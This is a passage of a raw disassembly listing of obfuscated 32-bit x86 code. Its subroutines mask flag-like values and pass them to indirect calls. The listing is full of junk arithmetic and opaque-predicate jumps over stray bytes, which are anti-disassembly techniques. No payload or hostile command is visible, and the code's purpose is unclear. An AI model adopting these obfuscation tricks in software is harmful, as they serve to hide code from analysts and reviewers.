mov eax, [ebp+var_4]
push ecx
mov ecx, 800h
mov ecx, 0Ch
not ecx
bswap eax
not ecx
inc ecx
inc ecx
inc ecx
and eax, 0
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
inc ecx
dec ecx
inc ecx
inc cl
inc cl
inc cl
add ecx, 0Dh
inc cl
inc cl
inc cl
inc eax
inc cl
inc cl
add ecx, 0Ah
dec ecx
push edx
mov edx, 4
add ecx, edx
inc ecx
pop edx
pop ecx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E365
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E365: ; CODE XREF: sub_49E2E4+76j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E2E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E379 proc near ; DATA XREF: sub_4965D8+140o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DB0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
xor bh, 4
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 9
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
push eax
mov eax, [ebp+var_4]
mov edx, 0F00h
sub dh, 1
dec dh
dec dh
sub dh, 4
and eax, edx
neg eax
sbb eax, eax
inc eax
mov edx, eax
pop eax
xor ecx, ecx
cmp eax, edx
setz cl
mov al, cl
mov [ebp+var_C], eax
mov ecx, dword_4ED3E0
xor ecx, dword_4ED3E4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E422
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E422: ; CODE XREF: sub_49E379+9Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D38
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E379 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E436 proc near ; DATA XREF: sub_4965D8+1477o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DAC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49E45B
jl short loc_49E459
loc_49E456: ; CODE XREF: sub_49E436:loc_49E459j
; sub_49E436:loc_49E45Bj
jmp short loc_49E45D
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49E459: ; CODE XREF: sub_49E436+1Ej
jz short loc_49E456
loc_49E45B: ; CODE XREF: sub_49E436+1Cj
jmp short loc_49E456
; ---------------------------------------------------------------------------
loc_49E45D: ; CODE XREF: sub_49E436:loc_49E456j
push edx
mov dh, 2
jo short loc_49E469
jl short loc_49E467
loc_49E464: ; CODE XREF: sub_49E436:loc_49E467j
; sub_49E436:loc_49E469j
jmp short loc_49E46B
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E467: ; CODE XREF: sub_49E436+2Cj
jz short loc_49E464
loc_49E469: ; CODE XREF: sub_49E436+2Aj
jmp short loc_49E464
; ---------------------------------------------------------------------------
loc_49E46B: ; CODE XREF: sub_49E436:loc_49E464j
dec dh
dec dh
and ah, dh
mov dl, 3
sub dl, 2
inc dl
dec dl
inc dl
dec dl
inc dl
dec dl
inc dl
dec dl
and al, dl
not ah
not ah
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3DC
xor ecx, dword_4ED3E0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E4B5
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E4B5: ; CODE XREF: sub_49E436+74j
mov eax, [ebp+var_8]
push eax
call off_4F1D34
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E436 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E4C9 proc near ; DATA XREF: sub_4965D8+E71o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DDC
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 800h
pop ecx
dec ch
dec ch
sub ch, 4
dec ch
inc esi
dec ch
and ah, ch
mov cl, 0Fh
dec dl
sub cl, 3
dec cl
sub cl, 1
dec cl
dec edi
dec cl
dec cl
inc esi
dec cl
sub cl, 1
dec cl
and al, cl
pop ecx
pop ebx
test eax, eax
jz short loc_49E52D
not eax
add eax, 1
stc
jmp short loc_49E533
; ---------------------------------------------------------------------------
loc_49E52D: ; CODE XREF: sub_49E4C9+5Aj
not eax
add eax, 1
clc
loc_49E533: ; CODE XREF: sub_49E4C9+62j
sbb eax, eax
neg eax
mov [ebp+var_C], eax
mov ecx, dword_4ED40C
xor ecx, dword_4ED410
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E55A
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E55A: ; CODE XREF: sub_49E4C9+86j
mov eax, [ebp+var_8]
push eax
call off_4F1D64
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E4C9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E56E proc near ; DATA XREF: sub_4965D8+1257o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 86h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 1Ah
dec bl
sub bl, 1Fh
not bx
bswap eax
not bx
bswap eax
and al, bl
pop ebx
pop edx
test eax, eax
jnz loc_49E6C9
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 1Fh
pop ebx
jo short loc_49E652
jl short loc_49E650
loc_49E64B: ; CODE XREF: sub_49E56E:loc_49E650j
; sub_49E56E:loc_49E652j
jmp short loc_49E654
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E650: ; CODE XREF: sub_49E56E+DBj
jz short loc_49E64B
loc_49E652: ; CODE XREF: sub_49E56E+D9j
jmp short loc_49E64B
; ---------------------------------------------------------------------------
loc_49E654: ; CODE XREF: sub_49E56E:loc_49E64Bj
sub bl, 5
dec bl
push eax
dec bl
dec bl
jo short loc_49E667
jl short loc_49E665
loc_49E662: ; CODE XREF: sub_49E56E:loc_49E665j
; sub_49E56E:loc_49E667j
jmp short loc_49E669
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E665: ; CODE XREF: sub_49E56E+F2j
jz short loc_49E662
loc_49E667: ; CODE XREF: sub_49E56E+F0j
jmp short loc_49E662
; ---------------------------------------------------------------------------
loc_49E669: ; CODE XREF: sub_49E56E:loc_49E662j
and eax, 40h
dec bl
sub bl, 12h
sub bl, 3
pop eax
dec bl
and al, bl
mov edx, 1200h
dec dh
sub dh, 1
dec dh
sub dh, 7
and ah, dh
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
dec eax
jo short loc_49E69D
jl short loc_49E69B
loc_49E696: ; CODE XREF: sub_49E56E:loc_49E69Bj
; sub_49E56E:loc_49E69Dj
jmp short loc_49E69F
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E69B: ; CODE XREF: sub_49E56E+126j
jz short loc_49E696
loc_49E69D: ; CODE XREF: sub_49E56E+124j
jmp short loc_49E696
; ---------------------------------------------------------------------------
loc_49E69F: ; CODE XREF: sub_49E56E:loc_49E696j
inc eax
dec eax
jo short loc_49E6AC
jl short loc_49E6AA
loc_49E6A5: ; CODE XREF: sub_49E56E:loc_49E6AAj
; sub_49E56E:loc_49E6ACj
jmp short loc_49E6AE
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E6AA: ; CODE XREF: sub_49E56E+135j
jz short loc_49E6A5
loc_49E6AC: ; CODE XREF: sub_49E56E+133j
jmp short loc_49E6A5
; ---------------------------------------------------------------------------
loc_49E6AE: ; CODE XREF: sub_49E56E:loc_49E6A5j
inc eax
dec eax
inc eax
dec eax
jo short loc_49E6BB
jl short loc_49E6B9
loc_49E6B6: ; CODE XREF: sub_49E56E:loc_49E6B9j
; sub_49E56E:loc_49E6BBj
jmp short loc_49E6BD
; ---------------------------------------------------------------------------
db 0C7h
; ---------------------------------------------------------------------------
loc_49E6B9: ; CODE XREF: sub_49E56E+146j
jz short loc_49E6B6
loc_49E6BB: ; CODE XREF: sub_49E56E+144j
jmp short loc_49E6B6
; ---------------------------------------------------------------------------
loc_49E6BD: ; CODE XREF: sub_49E56E:loc_49E6B6j
inc eax
pop ecx
cmp ecx, eax
jnz short loc_49E6C9
and eax, 0
inc eax
jmp short loc_49E6CC
; ---------------------------------------------------------------------------
loc_49E6C9: ; CODE XREF: sub_49E56E+6Dj
; sub_49E56E+153j
and eax, 0
loc_49E6CC: ; CODE XREF: sub_49E56E+159j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E6EF
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E6EF: ; CODE XREF: sub_49E56E+176j
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E56E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E703 proc near ; DATA XREF: sub_4965D8+EB5o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D90
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 0BDh
sub cl, 2
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
dec cl
sub cl, 3
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 80h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
inc cl
inc cl
inc cl
and al, cl
mov eax, eax
pop ecx
neg eax
sbb eax, eax
inc eax
pop ebx
mov [ebp+var_C], eax
mov ecx, dword_4ED3C0
xor ecx, dword_4ED3C4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E7CE
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E7CE: ; CODE XREF: sub_49E703+C0j
mov eax, [ebp+var_8]
push eax
call off_4F1D18
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E703 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E7E2 proc near ; DATA XREF: sub_4965D8+CF0o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D9C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ecx
bswap ecx
not ecx
push eax
not eax
mov eax, 80h
xchg eax, ecx
mov ecx, 1
xchg eax, ecx
not eax
and eax, 41h
pop eax
not ecx
pop ecx
push edx
mov dh, 18h
dec dh
dec dh
not ecx
dec dh
dec dh
dec dh
dec dh
bswap eax
dec dh
dec dh
sub dh, 0Dh
dec dh
dec dh
dec dh
bswap eax
jo short loc_49E846
jl short loc_49E844
loc_49E841: ; CODE XREF: sub_49E7E2:loc_49E844j
; sub_49E7E2:loc_49E846j
jmp short loc_49E848
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E844: ; CODE XREF: sub_49E7E2+5Dj
jz short loc_49E841
loc_49E846: ; CODE XREF: sub_49E7E2+5Bj
jmp short loc_49E841
; ---------------------------------------------------------------------------
loc_49E848: ; CODE XREF: sub_49E7E2:loc_49E841j
and ah, dh
mov dl, 9
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
add dl, 4
sub dl, 3
dec dl
jo short loc_49E86D
jl short loc_49E86B
loc_49E868: ; CODE XREF: sub_49E7E2:loc_49E86Bj
; sub_49E7E2:loc_49E86Dj
jmp short loc_49E86F
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E86B: ; CODE XREF: sub_49E7E2+84j
jz short loc_49E868
loc_49E86D: ; CODE XREF: sub_49E7E2+82j
jmp short loc_49E868
; ---------------------------------------------------------------------------
loc_49E86F: ; CODE XREF: sub_49E7E2:loc_49E868j
and al, dl
jo short loc_49E87A
jl short loc_49E878
loc_49E875: ; CODE XREF: sub_49E7E2:loc_49E878j
; sub_49E7E2:loc_49E87Aj
jmp short loc_49E87C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49E878: ; CODE XREF: sub_49E7E2+91j
jz short loc_49E875
loc_49E87A: ; CODE XREF: sub_49E7E2+8Fj
jmp short loc_49E875
; ---------------------------------------------------------------------------
loc_49E87C: ; CODE XREF: sub_49E7E2:loc_49E875j
mov [ebp+var_C], eax
mov ecx, dword_4ED3CC
xor ecx, dword_4ED3D0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E89F
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E89F: ; CODE XREF: sub_49E7E2+B2j
mov eax, [ebp+var_8]
push eax
call off_4F1D24
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E7E2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E8B3 proc near ; DATA XREF: sub_4965D8+64Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 3
pop ebx
dec bl
dec bl
dec bl
and al, bl
mov dh, 0Fh
and dl, 0
sub dh, 5
dec dh
sub dh, 1
and ah, dh
pop ebx
pop edx
test eax, eax
jz short loc_49E90D
not eax
add eax, 1
stc
jmp short loc_49E913
; ---------------------------------------------------------------------------
jo short loc_49E90B
jl short loc_49E909
loc_49E904: ; CODE XREF: sub_49E8B3:loc_49E909j
; sub_49E8B3:loc_49E90Bj
jmp short loc_49E90D
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E909: ; CODE XREF: sub_49E8B3+4Fj
jz short loc_49E904
loc_49E90B: ; CODE XREF: sub_49E8B3+4Dj
jmp short loc_49E904
; ---------------------------------------------------------------------------
loc_49E90D: ; CODE XREF: sub_49E8B3+43j
; sub_49E8B3:loc_49E904j
not eax
add eax, 1
clc
loc_49E913: ; CODE XREF: sub_49E8B3+4Bj
sbb eax, eax
inc eax
dec eax
jo short loc_49E922
jl short loc_49E920
loc_49E91B: ; CODE XREF: sub_49E8B3:loc_49E920j
; sub_49E8B3:loc_49E922j
jmp short loc_49E924
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E920: ; CODE XREF: sub_49E8B3+66j
jz short loc_49E91B
loc_49E922: ; CODE XREF: sub_49E8B3+64j
jmp short loc_49E91B
; ---------------------------------------------------------------------------
loc_49E924: ; CODE XREF: sub_49E8B3:loc_49E91Bj
inc eax
dec eax
jo short loc_49E931
jl short loc_49E92F
loc_49E92A: ; CODE XREF: sub_49E8B3:loc_49E92Fj
; sub_49E8B3:loc_49E931j
jmp short loc_49E933
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E92F: ; CODE XREF: sub_49E8B3+75j
jz short loc_49E92A
loc_49E931: ; CODE XREF: sub_49E8B3+73j
jmp short loc_49E92A
; ---------------------------------------------------------------------------
loc_49E933: ; CODE XREF: sub_49E8B3:loc_49E92Aj
inc eax
dec eax
inc eax
dec eax
jo short loc_49E942
jl short loc_49E940
loc_49E93B: ; CODE XREF: sub_49E8B3:loc_49E940j
; sub_49E8B3:loc_49E942j
jmp short loc_49E944
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E940: ; CODE XREF: sub_49E8B3+86j
jz short loc_49E93B
loc_49E942: ; CODE XREF: sub_49E8B3+84j
jmp short loc_49E93B
; ---------------------------------------------------------------------------
loc_49E944: ; CODE XREF: sub_49E8B3:loc_49E93Bj
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49E968
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49E968: ; CODE XREF: sub_49E8B3+AAj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E8B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49E97C proc near ; DATA XREF: sub_4965D8+49Do
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1D8C
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push 0D00h
pop ebx
jo short loc_49E9B2
jl short loc_49E9B0
loc_49E9AB: ; CODE XREF: sub_49E97C:loc_49E9B0j
; sub_49E97C:loc_49E9B2j
jmp short loc_49E9B4
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E9B0: ; CODE XREF: sub_49E97C+2Dj
jz short loc_49E9AB
loc_49E9B2: ; CODE XREF: sub_49E97C+2Bj
jmp short loc_49E9AB
; ---------------------------------------------------------------------------
loc_49E9B4: ; CODE XREF: sub_49E97C:loc_49E9ABj
sub bh, 5
dec bh
push eax
dec bh
dec bh
and eax, 41h
dec bh
sub bh, 3
pop eax
dec bh
and ah, bh
mov edx, 28h
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
dec dl
sub dl, 1Bh
dec dl
dec dl
inc dl
dec dl
inc dl
jo short loc_49E9F8
jl short loc_49E9F6
loc_49E9F1: ; CODE XREF: sub_49E97C:loc_49E9F6j
; sub_49E97C:loc_49E9F8j
jmp short loc_49E9FA
; ---------------------------------------------------------------------------
movlps xmm4, qword ptr [esi]
loc_49E9F6: ; CODE XREF: sub_49E97C+73j
jz short loc_49E9F1
loc_49E9F8: ; CODE XREF: sub_49E97C+71j
jmp short loc_49E9F1
; ---------------------------------------------------------------------------
loc_49E9FA: ; CODE XREF: sub_49E97C:loc_49E9F1j
and al, dl
pop ebx
pop edx
neg eax
sbb eax, eax
inc eax
mov [ebp+var_C], eax
mov ecx, dword_4ED3BC
xor ecx, dword_4ED3C0
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EA26
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EA26: ; CODE XREF: sub_49E97C+9Fj
mov eax, [ebp+var_8]
push eax
call off_4F1D14
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49E97C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EA3A proc near ; DATA XREF: sub_4965D8+130Co
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DC8
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
mov ch, 2Dh
dec ch
sub ch, 1
jo short loc_49EA6F
jl short loc_49EA6D
loc_49EA6A: ; CODE XREF: sub_49EA3A:loc_49EA6Dj
; sub_49EA3A:loc_49EA6Fj
jmp short loc_49EA71
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49EA6D: ; CODE XREF: sub_49EA3A+2Ej
jz short loc_49EA6A
loc_49EA6F: ; CODE XREF: sub_49EA3A+2Cj
jmp short loc_49EA6A
; ---------------------------------------------------------------------------
loc_49EA71: ; CODE XREF: sub_49EA3A:loc_49EA6Aj
sub ch, 20h
dec ch
dec ch
sub ch, 7
dec ch
dec ch
and ah, ch
mov cl, 77h
sub cl, 2
dec cl
dec cl
dec cl
dec cl
not cl
bswap edx
not cl
bswap edx
dec cl
dec cl
push eax
dec cl
dec cl
sub cl, 12h
dec cl
jo short loc_49EAAD
jl short loc_49EAAB
loc_49EAA8: ; CODE XREF: sub_49EA3A:loc_49EAABj
; sub_49EA3A:loc_49EAADj
jmp short loc_49EAAF
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49EAAB: ; CODE XREF: sub_49EA3A+6Cj
jz short loc_49EAA8
loc_49EAAD: ; CODE XREF: sub_49EA3A+6Aj
jmp short loc_49EAA8
; ---------------------------------------------------------------------------
loc_49EAAF: ; CODE XREF: sub_49EA3A:loc_49EAA8j
dec cl
and eax, 40h
dec cl
dec cl
dec cl
add cl, 0Eh
dec cl
dec cl
and eax, 800h
sub cl, 1Fh
dec cl
dec cl
dec cl
not ecx
bswap eax
not ecx
bswap eax
pop eax
and al, cl
mov eax, eax
pop ecx
pop ebx
test eax, eax
jnz loc_49EB8C
mov eax, [ebp+var_4]
push edx
mov edx, 0FFFFh
and eax, edx
push ebx
push eax
mov bh, 7
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
dec bh
and eax, 800h
bswap ecx
pop eax
bswap ecx
and ah, bh
mov bl, 98h
sub bl, 5
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
dec bl
sub bl, 0Ch
not bx
bswap eax
not bx
bswap eax
and al, bl
mov eax, eax
pop ebx
neg eax
sbb eax, eax
inc eax
pop edx
mov ecx, eax
push ecx
mov eax, [ebp+var_4]
push ebx
mov ebx, 0FFFFh
and eax, ebx
push ecx
push 4
pop ecx
dec cl
dec cl
dec cl
dec cl
and al, cl
mov bh, 0Fh
and bl, 0
dec bh
sub bh, 3
dec bh
sub bh, 1
dec bh
and ah, bh
pop ecx
pop ebx
test eax, eax
jz short loc_49EB77
not eax
add eax, 1
stc
jmp short loc_49EB7D
; ---------------------------------------------------------------------------
loc_49EB77: ; CODE XREF: sub_49EA3A+133j
not eax
add eax, 1
clc
loc_49EB7D: ; CODE XREF: sub_49EA3A+13Bj
sbb eax, eax
add eax, 1
pop ecx
cmp ecx, eax
jnz short loc_49EB8C
and eax, 0
jmp short loc_49EB90
; ---------------------------------------------------------------------------
loc_49EB8C: ; CODE XREF: sub_49EA3A+A6j
; sub_49EA3A+14Bj
and eax, 0
inc eax
loc_49EB90: ; CODE XREF: sub_49EA3A+150j
mov [ebp+var_C], eax
mov ecx, dword_4ED3F8
xor ecx, dword_4ED3FC
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EBB3
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EBB3: ; CODE XREF: sub_49EA3A+16Ej
mov eax, [ebp+var_8]
push eax
call off_4F1D50
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EA3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EBC7 proc near ; DATA XREF: sub_4965D8+90Bo
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
push edx
mov dh, 2
sub dh, 0FFh
dec dh
sub dh, 0FFh
dec dh
sub dh, 0FFh
sub dh, 1
sub dh, 1
dec dh
and ah, dh
mov edx, 800h
mov dl, 0Fh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0FFh
sub dl, 0Ah
sub dl, 0FFh
sub dl, 0FFh
sub dl, 5
dec dl
dec dl
dec dl
sub dl, 3
sub dl, 0FFh
dec dl
inc dl
inc dl
and al, dl
not ah
not ah
pop edx
mov [ebp+var_C], eax
mov ecx, dword_4ED3D0
xor ecx, dword_4ED3D4
shl ecx, 1
mov [ebp+var_8], ecx
cmp [ebp+var_C], 0
jz short loc_49EC55
mov edx, [ebp+var_8]
or edx, 1
mov [ebp+var_8], edx
loc_49EC55: ; CODE XREF: sub_49EBC7+83j
mov eax, [ebp+var_8]
push eax
call off_4F1D28
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_49EBC7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_49EC69 proc near ; DATA XREF: sub_4965D8+1323o
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov eax, [ebp+arg_0]
push eax
call off_4F1DA0
add esp, 4
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
jo short loc_49EC8E
jl short loc_49EC8C
loc_49EC89: ; CODE XREF: sub_49EC69:loc_49EC8Cj
; sub_49EC69:loc_49EC8Ej
jmp short loc_49EC90
; ---------------------------------------------------------------------------
db 0E9h
; ---------------------------------------------------------------------------
loc_49EC8C: ; CODE XREF: sub_49EC69+1Ej
jz short loc_49EC89
loc_49EC8E: ; CODE XREF: sub_49EC69+1Cj
jmp short loc_49EC89
; ---------------------------------------------------------------------------
loc_49EC90: ; CODE XREF: sub_49EC69:loc_49EC89j
push edx
jo short loc_49EC9A
jl short loc_49EC98
loc_49EC95: ; CODE XREF: sub_49EC69:loc_49EC98j
; sub_49EC69:loc_49EC9Aj
jmp short loc_49EC9C
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49EC98: ; CODE XREF: sub_49EC69+2Aj
jz short loc_49EC95
loc_49EC9A: ; CODE XREF: sub_49EC69+28j
jmp short loc_49EC95
; ---------------------------------------------------------------------------
loc_49EC9C: ; CODE XREF: sub_49EC69:loc_49EC95j
mov dh, 6
jo short loc_49ECA7
jl short loc_49ECA5
loc_49ECA2: ; CODE XREF: sub_49EC69:loc_49ECA5j
; sub_49EC69:loc_49ECA7j
jmp short loc_49ECA9
; ---------------------------------------------------------------------------
db 0E8h
; ---------------------------------------------------------------------------
loc_49ECA5: ; CODE XREF: sub_49EC69+37j
jz short loc_49ECA2
loc_49ECA7: ; CODE XREF: sub_49EC69+35j
jmp short loc_49ECA2
; ---------------------------------------------------------------------------
loc_49ECA9: ; CODE XREF: sub_49EC69:loc_49ECA2j
dec dh
dec dh
dec dh
dec dh
dec dh
dec dh
and ah, dh
mov dl, 2
dec dl
and al, dl
not ah
not ah
